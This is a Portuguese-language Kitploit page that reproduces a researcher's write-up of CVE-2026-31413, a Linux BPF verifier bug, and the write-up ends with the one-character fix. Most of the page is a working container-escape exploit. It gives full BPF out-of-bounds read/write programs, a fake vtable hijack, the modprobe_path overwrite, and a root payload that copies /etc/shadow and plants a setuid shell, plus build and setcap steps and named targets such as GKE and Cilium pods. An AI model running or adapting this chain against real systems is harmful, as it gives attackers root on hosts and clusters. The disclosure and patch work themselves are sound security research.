Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31413-BPF-Container-Escape — CVE-2026-31413: bug de solidez do verificador BPF - escape de contêiner | Kitploit
Ferramentas/GitHubGitHub/rat5ak/cve-2026-31413-bpf-container-escape
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoPapers e PesquisaAprendizado e EducaçãoEscape de ContêinerExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
rat5ak/cve-2026-31413-bpf-container-escape

CVE-2026-31413-BPF-Container-Escape

CVE-2026-31413: bug de solidez do verificador BPF - escape de contêiner

Ver Repositório
115há 4 mesesAinda não revisado

CVE-2026-31413: Um Byte no Verificador BPF para Escape de Contêiner

Encontrei um bug de solidez no verificador BPF do Linux - um + 1 em uma chamada push_stack() que faz o verificador pular uma instrução ALU em um caminho bifurcado. Para BPF_OR, isso significa que o verificador rastreia dst = 0 enquanto a CPU calcula 0 | K = K. Escrevi um escape de contêiner completo: leitura/escrita fora dos limites (OOB) a partir de um mapa BPF, sequestro de vtable, sobrescrita de modprobe_path, root no host. Em seguida, criei uma série de dois patches - uma correção de um caractere no verificador e 90 linhas de selftests - e consegui mesclá-la no mainline.

📹 Vídeo de demonstração do escape de contêiner

CVECVE-2026-31413
Classe do bugSolidez do verificador - divergência de valor de registrador
Causa raizpush_stack(env, env->insn_idx + 1, ...) pula instrução ALU no caminho bifurcado
Introduzidobffacdb80b93 - Linux 7.0-rc1 (Jan 14, 2026)
Corrigidoc845894ebd6f - Linux 7.0-rc5 (Mar 22, 2026)
Afetado6.12.75+ (backport estável dea9989a3f) até 7.0-rc4
ImpactoR/W arbitrário no kernel → escape de contêiner → root no host
RequeridoCAP_BPF + CAP_PERFMON + CAP_NET_ADMIN
CorreçãoUm caractere: insn_idx + 1 → insn_idx

Resumo

maybe_fork_scalars() bifurca o estado do verificador quando vê ARSH + AND/OR com uma constante. O caminho empurrado recebe dst = 0 e pula a instrução ALU. Para AND isso é válido: 0 & K = 0. Para OR está errado: 0 | K = K, não 0.

O verificador pensa que o registrador é zero. A CPU tem K. Usei isso para construir leitura/escrita OOB arbitrária a partir de um valor de mapa BPF, vazei o endereço de kernel do mapa, construí uma vtable bpf_map_ops falsa, redirecionei map_push_elem através de array_map_get_next_key para escrita arbitrária e sobrescrevi modprobe_path. Ao disparar um formato binário desconhecido, o kernel executa meu script como root. Em um contêiner, escape completo do host.

Série de dois patches: uma correção de um caractere no verificador mais 90 linhas de selftests BPF cobrindo OR vs bifurcação AND. Mesclada por Alexei Starovoitov em 22 de março. CVE-2026-31413 atribuída por Greg Kroah-Hartman em 12 de abril.


Contexto: O Verificador BPF

eBPF permite carregar pequenos programas no kernel - filtros de pacotes, hooks de rastreamento, políticas de segurança - sem compilar um módulo de kernel. O problema é que você está injetando código no ring 0. Se esse código tiver um bug, é um bug do kernel.

Então, antes de qualquer programa BPF executar, o verificador do kernel simula todos os possíveis caminhos de execução. Ele rastreia o que cada registrador contém (um ponteiro? um escalar? qual intervalo?), verifica cada acesso à memória em relação aos limites do mapa e rejeita qualquer coisa que possa ler ou escrever fora dos limites. Se o verificador diz que um programa é seguro, o JIT o compila para código de máquina nativo e o executa com privilégio total de kernel. Não há verificações de limites em tempo de execução depois desse ponto. O verificador é o limite de segurança.

É por isso que bugs de solidez do verificador são diferentes de corrupção de memória normal. Com um heap overflow ou UAF, você obtém uma primitiva de corrupção e precisa trabalhar a partir dela - fazer spray no heap, preparar objetos, disputar uma janela. Com um bug de verificador, você faz o kernel acreditar em uma mentira sobre o valor de um registrador. Toda verificação de limites que depende desse registrador passa. O kernel aprovou seu acesso OOB. Ele o executa sem questionar. Se você conseguir alinhar o estado do registrador corretamente, obtém uma primitiva limpa e confiável a partir disso.

Como Encontrei

Eu estava auditando maybe_fork_scalars() - código novo, adicionado em janeiro de 2026 em bffacdb80b93. A bifurcação de estado é sempre interessante porque é onde o verificador se divide em caminhos de exploração paralelos, e se qualquer caminho rastreia um valor incorreto, tudo a jusante desse caminho fica não sólido.

A função bifurca quando vê ARSH + AND/OR com uma fonte constante. O caminho empurrado recebe dst = 0 e pula a instrução ALU. Eu estava lendo a linha push_stack(env, env->insn_idx + 1, ...) e caiu a ficha na hora - o + 1 significa que o caminho empurrado nunca executa a operação ALU. Para AND, 0 & K = 0, então pular é válido. Para OR, 0 | K = K. O caminho empurrado pensa que o resultado é 0 quando na verdade é K.

Escrevi um programa BPF naquela noite. ARSH 63 para obter {0, -1}, OR com uma constante, desvio condicional para separar os caminhos do verificador, e então adicionei o registrador "zero" a um ponteiro de mapa. O verificador aprovou map_value + 0. A CPU acessou map_value + K. O KASAN confirmou o acesso fora dos limites nos testes.

Leitura/escrita OOB na manhã seguinte. Escape de contêiner na noite seguinte. Usei Claude (Opus 4.5) durante todo o processo - para analisar a lógica de bifurcação de estado do verificador, gerar ideias de primitivas de exploração e transformar o OOB em uma cadeia completa de escape. A abordagem de sequestro de vtable surgiu de uma troca em que Claude percorreu os ponteiros de função de bpf_map_ops procurando gadgets chamáveis.

O Commit que Introduziu o Bug

O commit bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") foi incorporado em 14 de janeiro de 2026 no 7.0-rc1. Alexei Starovoitov, co-desenvolvido por Puranjay Mohan. Ele adicionou maybe_fork_scalars() para lidar com um padrão do DAGCombiner do LLVM:``` w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1 w2 &= -134 // AND with constant K

root@kitploit:~
LLVM converte `select_cc setlt X, 0, A, 0` em `sra + and`. Após o deslocamento
aritmético para a direita, o registrador é ou `0` (entrada não negativa) ou `-1` (todos os bits em 1).
O AND com uma constante resulta em `0` ou `K`.

O verificador não consegue rastrear `{0, K}` em um único `bpf_reg_state` — seu intervalo com sinal
`[0, K]` é uma superaproximação, e isso estava fazendo com que ele rejeitasse programas Cilium
válidos. A correção: bifurcar o estado do verificador. Um caminho explora `dst = 0`, o
outro `dst = -1`, cada um rastreando o valor preciso.

A implementação:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
                              struct bpf_insn *insn,
                              struct bpf_reg_state *dst_reg)
{
    // ... condition check: dst range is [-1, 0], src is constant ...

    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
    //                             ^^^^^^^^^^^^
    //                    pushed path resumes AFTER the ALU insn
    if (IS_ERR(branch))
        return PTR_ERR(branch);

    regs = branch->frame[branch->curframe]->regs;
    __mark_reg_known(&regs[insn->dst_reg], 0);   // pushed: dst = 0
    __mark_reg_known(dst_reg, -1ull);             // current: dst = -1
    return 0;
}

Duas coisas acontecem no caminho empurrado:

  1. O registrador de destino é definido para 0
  2. A execução é retomada em insn_idx + 1 - a instrução após a operação ALU

Para BPF_AND: dst = 0, pula a operação AND. Em tempo de execução: 0 & K = 0. Correspondência. Sólido.

Para BPF_OR: dst = 0, pula a operação OR. Em tempo de execução: 0 | K = K. Divergência. O verificador vê 0. A CPU tem K. Não sólido.

A função não verifica o opcode. Ela foi escrita para AND - onde pular a instrução é o mesmo que executá-la com dst = 0 - e foi aplicada também a OR. Para OR, essa equivalência não se sustenta.

Acionando a Divergência

O padrão de acionamento é de cinco instruções:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)

root@kitploit:~
O verificador explora dois caminhos:

**Caminho atual** (`dst = -1`): O OR executa, `-1 | K` continua sendo `-1`. O
ramo `r6 s< 0` é tomado. O verificador segue a saída. Este caminho é seguro e
o verificador o confirma.

**Caminho empurrado** (`dst = 0`, OR ignorado): `r6 = 0`. O ramo `r6 s< 0` não é
tomado. O verificador cai para `r9 += r6`, vê `r9 += 0` e aprova o
acesso à memória subsequente como dentro dos limites.

**Tempo de execução** (`dst = 0`, OR executa): O valor do mapa é positivo, então após ARSH,
`r6 = 0`. O OR executa: `0 | K = K`. O ramo `K s< 0` não é tomado (K é
positivo). `r9 += K` - um acesso fora dos limites por `K` bytes, aprovado pelo
verificador como `r9 += 0`.

Eu controlo `K`. Leitura ou escrita OOB com deslocamento arbitrário, relativo a qualquer valor
de mapa BPF.

A versão de leitura armazena os dados vazados em um segundo mapa para recuperação
pelo espaço do usuário. A versão de escrita carrega um valor de um terceiro mapa e o escreve no
deslocamento OOB. Ambas passam pelo verificador.

Aqui está o `oob_read_prog` completo - este é o código real do exploit, não
pseudocódigo:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
    int K = -offset;
    struct bpf_insn insn[] = {
        /* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),       /* map_lookup_elem */
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_LDX_MEM(BPF_DW, R6, R0, 0),                  /* R6 = seed (positive) */

        /* look up dst_fd[0] → R9 = pointer to output buffer */
        BPF_LD_MAP_FD(R1, dst_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R9, R0),

        /* look up map_fd[0] again → R8 = base pointer for OOB access */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R8, R0),

        /* === THE BUG === */
        BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 (positive seed) */
        BPF_ALU64_IMM(BPF_OR, R6, K),                    /* verifier: R6=0, runtime: R6=K */
        BPF_MOV64_IMM(R7, 0),
        BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K = offset */
        BPF_ALU64_REG(BPF_ADD, R8, R7),                   /* R8 = map_value + offset (OOB) */
        BPF_LDX_MEM(BPF_DW, R0, R8, 0),                  /* OOB read: 8 bytes */
        BPF_STX_MEM(BPF_DW, R9, R0, 0),                  /* store to output map */
        BPF_MOV64_IMM(R0, 0),
        BPF_EXIT_INSN(),
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}

E a escrita OOB - mesmo truque ARSH+OR, mas escreve um valor de um terceiro mapa no offset OOB:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */

root@kitploit:~
    BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 */
    BPF_ALU64_IMM(BPF_OR, R6, K),                    /* R6 = K (verifier: 0) */
    BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),                /* skip if negative (verifier path) */

    BPF_MOV64_IMM(R7, 0),
    BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K */
    BPF_ALU64_REG(BPF_ADD, R9, R7),                   /* R9 = OOB target */

    /* look up val_fd[0] → R8 = value to write */
    BPF_LD_MAP_FD(R1, val_fd),
    BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
    BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
    BPF_LDX_MEM(BPF_DW, R8, R0, 0),                  /* R8 = write value */

    BPF_STX_MEM(BPF_DW, R9, R8, 0),                  /* OOB write */
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
    BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));

}

root@kitploit:~
Para acionar qualquer um dos programas, eu o anexo a um par de sockets e empurro um pacote através:```c
static int trigger_bpf_prog(int prog_fd)
{
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
    setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
    char buf[64] = "x";
    write(socks[1], buf, sizeof(buf));
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    read(socks[0], buf, sizeof(buf));
    close(socks[0]); close(socks[1]);
    return 0;
}

O padrão negar-e-somar (R7 = 0 - R6; R8 += R7) nos permite alcançar offsets negativos a partir do valor do mapa - que é onde os próprios metadados do mapa vivem.


Exploração: OOB para Escape de Contêiner

A cadeia completa:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit

root@kitploit:~
### O Layout Alvo

Um `BPF_MAP_TYPE_ARRAY` é suportado por `struct bpf_array`, que incorpora
`struct bpf_map` no offset 0. Os valores reais do mapa começam no offset 264 (após
o cabeçalho `bpf_array` + alinhamento). Assim, a partir de `value[0]`, os metadados
do próprio mapa ficam em offsets negativos conhecidos:```
                   struct bpf_map (embedded in bpf_array)
                   ┌────────────────────────────────────────┐
offset from val[0] │                                        │
    -264           │ ops          (struct bpf_map_ops *)    │ ← vtable pointer
    -240           │ map_type     (u32)                     │
    -236           │ key_size     (u32)                     │
    -232           │ value_size   (u32)                     │
    -228           │ max_entries  (u32)                     │
                   │ ...                                    │
    -136           │ freeze_mutex.wait_list                 │ ← points back into struct
                   │ ...                                    │
       0           │ value[0]     ← our OOB origin          │
                   └────────────────────────────────────────┘

Verifiquei isso com pahole no vmlinux 6.12.76-docker. No kernel testado, os offsets correspondiam exatamente.

Etapa 1: Vazamento de Informações

Duas leituras OOB me dão tudo o que preciso:

wait_list no offset -136. Este é freeze_mutex.wait_list, um list_head que aponta para si mesmo quando o mutex não está disputado. Seu valor é &map->freeze_mutex.wait_list - um ponteiro de kernel para a estrutura do mapa. Subtraio 128 e tenho o endereço base do mapa. Adiciono 264 e tenho o endereço de kernel de value[0].

ops no offset -264. Este é o ponteiro da vtable bpf_map_ops. Em um kernel não modificado, ele aponta para o símbolo global array_map_ops. Eu o leio para confirmar se o kernel não está patchado e para obter o endereço da vtable para clonagem.```c uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST); uint64_t map_addr = wait_list - 128; uint64_t val_addr = map_addr + 264;

uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }

root@kitploit:~
Neste ponto, tenho: o endereço do kernel do mapa, o endereço dos meus
dados controlados (`value[0]`) e o ponteiro de vtable confirmado.


### Passo 2: Vtable Falsa

`bpf_map_ops` tem 42 slots de ponteiros de função. Se eu apenas zerar os que não
preciso, o kernel sofrerá um NULL-deref na primeira vez que tocar em um deles. Então, resolvo
todos os símbolos de `/proc/kallsyms` e construo uma cópia completa:```c
uint64_t *vt = (uint64_t *)(val + 8);  // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check;       // map_alloc_check
vt[ 1] = sym_alloc;             // map_alloc
vt[ 2] = 0;                     // map_release (unused path)
vt[ 3] = sym_free;              // map_free
vt[ 4] = sym_get_next_key;      // map_get_next_key
// ...
vt[12] = sym_lookup_elem;       // map_lookup_elem
vt[13] = sym_update_elem;       // map_update_elem
vt[14] = sym_delete_elem;       // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY;    // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage;         // map_mem_usage

O slot 15 é map_push_elem. No array_map_ops real, isso é NULL (arrays não suportam push). Eu o substituo por array_map_get_next_key.

Por que get_next_key? Sua assinatura é:```c int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)

root@kitploit:~
Ele lê `*(u32 *)key`, incrementa-o e escreve o resultado em `*(u32
*)next_key`. Quando chamado pelo caminho de despacho `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
    → map->ops->map_push_elem(map, value, flags)

O argumento flags cai no parâmetro next_key. Se eu controlar flags, eu controlo o destino da escrita. O valor escrito é *(u32 *)value + 1 - um pequeno inteiro que posso prever definindo os primeiros 4 bytes do meu buffer de push.

Passo 3: Corrupção do Mapa

Antes de poder usar a vtable falsa, preciso redirecionar o mapa para ela e mudar seu tipo para que o kernel despache por meio de map_push_elem. Três escritas OOB, executadas em ordem:```c // Point ops at my fake vtable (lives at val_addr + 8) exec_oob_write(prog_wr_ops, scratch, val_addr + 8);

// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);

// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);

root@kitploit:~
A mudança de tipo é crítica. Quando o espaço do usuário chama `bpf(BPF_MAP_UPDATE_ELEM)` em um array map, o kernel faz o despacho via `map_update_elem`. Mas em um queue map, a mesma syscall faz o despacho via `map_push_elem` — que agora aponta para `array_map_get_next_key`.

Eu pré-carrego todos os seis programas BPF (três escritas + três restaurações) *antes* de corromper qualquer coisa. Assim que eu corromper o ponteiro `ops`, não posso carregar novos programas BPF que referenciem este map — o verificador seguiria a vtable falsa e travaria. Tudo precisa ser preparado antecipadamente.

### Passo 4: Escrita Arbitrária via map_push_elem

Agora posso escrever 4 bytes em qualquer endereço do kernel:```c
#define ARB_WRITE32(addr, val32) do { \
    uint32_t _v = (val32); \
    uint32_t _pv = _v - 1; \
    memset(push_buf, 0, sizeof(push_buf)); \
    memcpy(push_buf, &_pv, 4); \
    map_push(victim, push_buf, (addr)); \
} while(0)

map_push() chama bpf(BPF_MAP_UPDATE_ELEM) com flags = addr. O kernel despacha para o meu map_push_elem sequestrado → array_map_get_next_key(map, push_buf, addr). Ele lê *(u32 *)push_buf (que é val - 1), soma 1 e escreve val em *(u32 *)addr.

A primitiva de escrita é uma gravação u32 de 4 bytes via get_next_key. Não há restrições de alinhamento - o kernel realiza um *(u32 *)addr = val normal em qualquer endereço que fornecermos.

Passo 5: Sobrescrita do modprobe_path

modprobe_path é um char[256] global no kernel, com valor padrão /sbin/modprobe. Quando o kernel encontra um executável com um número mágico desconhecido, ele invoca modprobe_path como root para carregar o módulo apropriado. Sobrescreva-a com um caminho que eu controlo, acione um formato binário desconhecido, e o kernel executa meu script como root.

O caminho alvo é /tmpn/mo. Não consigo escrever strings arbitrárias - escrevo 4 bytes por vez por meio do incremento inteiro do get_next_key. Mas só preciso de duas escritas:```c // Original: "/sbin/modprobe\0" // Write "/tmp" at offset 0: ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian // Write "\0\0\0\0" at offset 8 (null-terminate): ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U); // Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe" // Result: "/tmpn/mo\0"

root@kitploit:~
Em modo contêiner, `modprobe_path` resolve no namespace de montagem do init — não
no do contêiner. Portanto, o script do payload precisa existir em `/tmpn/mo` no host.
Com `--pid=host` ou um namespace de PID compartilhado, eu alcanço o sistema de arquivos do host através
de `/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");

Em um ataque real, o exploit grava o payload em /tmpn/mo no host via /proc/1/root/tmpn/mo (acessível quando o pod tem um namespace de PID compartilhado, como é padrão para sidecars de service mesh como Cilium e agentes de monitoramento como Falco). A demo simplifica essa etapa: o orquestrador pré-positiona o payload no host para que o exploit precise apenas disparar a execução.

O exploit cria o binário de gatilho - 4 bytes de \xff - e o executa. O kernel não reconhece o formato, consulta modprobe_path, encontra /tmpn/mo e o executa como root.

O payload:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null

root@kitploit:~
### Passo 6: Limpeza

Após a escrita do `modprobe_path`, restauro o cabeçalho do mapa - type, max_entries,
ops - usando os três programas de restauração pré-carregados. O mapa volta a ser um
array normal. Sem vtable falsa pendurada, sem instabilidade do kernel. O exploit é
de tiro único e deixa um estado limpo.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);

No meu ambiente de demonstração, toda a cadeia, desde a primeira leitura OOB até o shell root, levou apenas alguns segundos.


Níveis de Exploit

Além do escape de contêiner principal, construí uma série de níveis de exploit independentes que demonstram diferentes capacidades de pós-exploração a partir da mesma primitiva. Cada nível é um arquivo C autocontido em exploit/ que usa a biblioteca auxiliar compartilhada exploit_common.h para a configuração de leitura/escrita OOB ARSH+OR.

Todos os níveis restauram todas as modificações antes de sair. Testado em 6.12.76.

Compilação```bash

make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries

root@kitploit:~
Ou individualmente:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite

Cada nível requer CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.


Estrutura do Repositório```

├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile

root@kitploit:~
---


## Quem é Afetado

O exploit requer `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Você não obtém isso
de um container sem privilégios ou de uma conta de usuário normal em um sistema
endurecido. Mas há muitos contextos em que você tem essas caps.


### Sistemas BPF sem privilégios

Se `kernel.unprivileged_bpf_disabled=0` (verifique com `sysctl`), qualquer usuário
local pode carregar programas BPF. Isso costumava ser o padrão em distribuições
mais antigas e às vezes é habilitado para ambientes de dev/teste. Nesses sistemas,
isso é uma escalada de privilégio local direta — de qualquer usuário para root,
sem permissões especiais necessárias.

Quase todas as distros modernas vêm com `unprivileged_bpf_disabled=1` ou `=2`
(bloqueado), então esse caminho está fechado em instalações padrão do Ubuntu
22.04+, Debian 12+, Fedora, RHEL 9, etc.


### Ambientes Kubernetes / Container

É aqui que o bug dói. Containers padrão sem privilégios removem `CAP_BPF`, então
não conseguem acionar o bug. Mas muitos pods de infraestrutura rodam com caps
elevados:

| Produto | Privilégios Padrão | Observações |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Network policy, roda em todos os nós |
| **Falco** | `privileged: true` | Segurança em runtime, monta /dev |
| **Tetragon** | `privileged: true` | Observabilidade eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + mais 7 | Métricas, logs, APM |
| **Pixie** | `privileged: true` | Observabilidade baseada em eBPF |
| **Tracee** | `privileged: true` ou caps de BPF | Segurança em runtime da Aqua |

Eles normalmente rodam como DaemonSets — um pod por nó, em todo o cluster. Se um
atacante comprometer qualquer um desses pods (RCE em um serviço web no mesmo nó,
ataque à cadeia de suprimentos, SSRF para uma API de agente, etc.), ele terá as
caps necessárias para executar esse exploit e escapar para o root do host.

**Aviso importante:** O exploit só funciona em kernels que contenham o código
vulnerável (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 a rc4). A
maioria dos clusters K8s de produção roda kernels LTS mais antigos. Verifique a
versão do kernel do seu nó com `uname -r` antes de presumir que é explorável.

A partir do root do host em um nó, o movimento lateral para outros nós geralmente
é possível através do mesmo DaemonSet (contas de serviço compartilhadas, segredos
montados, etc.).


### Kubernetes Gerenciado (GKE, EKS, AKS)

O Google GKE usa Cilium como Dataplane V2 por padrão. Se os nós do GKE rodarem
um kernel 6.12.x sem patch (verifique a versão do seu node pool), qualquer
comprometimento de um pod Cilium vira root do host e tomada do nó. Eu construí
o exploit especificamente para esse cenário — por isso se chama `exploit_gke.c`.

Amazon EKS e Azure AKS também são potencialmente afetados se estiverem rodando
kernels 6.12.x com Cilium ou redes similares baseadas em BPF. É preciso verificar
as versões específicas das imagens de AMI/VM.


### Android

O Android usa eBPF para contabilização de tráfego de rede (netd), perfilamento
de energia e rastreamento de memória. Dispositivos Android atuais (14/15) usam
kernels 6.1 LTS, que **não são afetados**. O Android 16 pode adotar o 6.12 LTS —
se adotar, e se o backport vulnerável for incluído, a superfície de ataque seriam
serviços de sistema como `netd` e `system_server` que carregam programas BPF.

Isso é especulativo e depende da linha do tempo de adoção de kernel do Android.
Eu registrei no Android VRP para acompanhamento.


### Containers com kernel compartilhado (LXC/LXD)

Containers de sistema que compartilham o kernel do host (diferente de VMs) estão
totalmente expostos. Comprometer o kernel compartilhado = comprometer o host +
todos os outros containers nele. Isso é diferente de Docker/containerd, onde
você está escapando para um host que pode, ele mesmo, ser uma VM.


### Do que ele não escapa

Este é um bug do kernel convidado, não uma fuga do hypervisor. Se você executar
o exploit dentro de uma instância EC2, você obtém root nessa instância — você
não escapa do hypervisor Nitro para o host físico ou para outros tenants. O mesmo
vale para GCE, VMs Azure, KVM, etc. A fronteira de hardware se mantém.


### Kernels afetados

| Branch | Afetados | Corrigidos |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` até 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` até 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` até 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 até 7.0-rc4 | 7.0-rc5+ |

Commit que introduziu: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Commit de correção: `c845894ebd6f`

`CAP_BPF` não é uma capability segura. Um bug no verifier a converte em
leitura/escrita arbitrária do kernel. Produtos que a concedem a pods de workload
devem tratá-la como `CAP_SYS_ADMIN`.


---


## A Correção

Um caractere:```diff
-    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+    branch = push_stack(env, env->insn_idx, env->insn_idx, false);

Em vez de empurrar o ramo para insn_idx + 1 (pulando a instrução ALU), empurre para insn_idx - a própria instrução. O caminho empurrado reexecuta a operação ALU com dst = 0:

  • AND: 0 & K = 0 ✓
  • OR: 0 | K = K ✓

A abordagem original era engenhosa - pular a instrução e codificar o resultado, economizando um passo do verificador no caminho empurrado. Mas essa otimização só funciona quando o resultado de executar a instrução com dst = 0 é zero. Isso é verdade para AND e falso para OR. A correção abandona a otimização: basta executar a instrução novamente e deixar o verificador calcular o valor correto para qualquer opcode.

Passei por três revisões do patch:

  • v1: Adicionei um parâmetro opcode a maybe_fork_scalars() e defini dst = K para OR, dst = 0 para AND no caminho empurrado. Funcionava, mas adicionava complexidade.
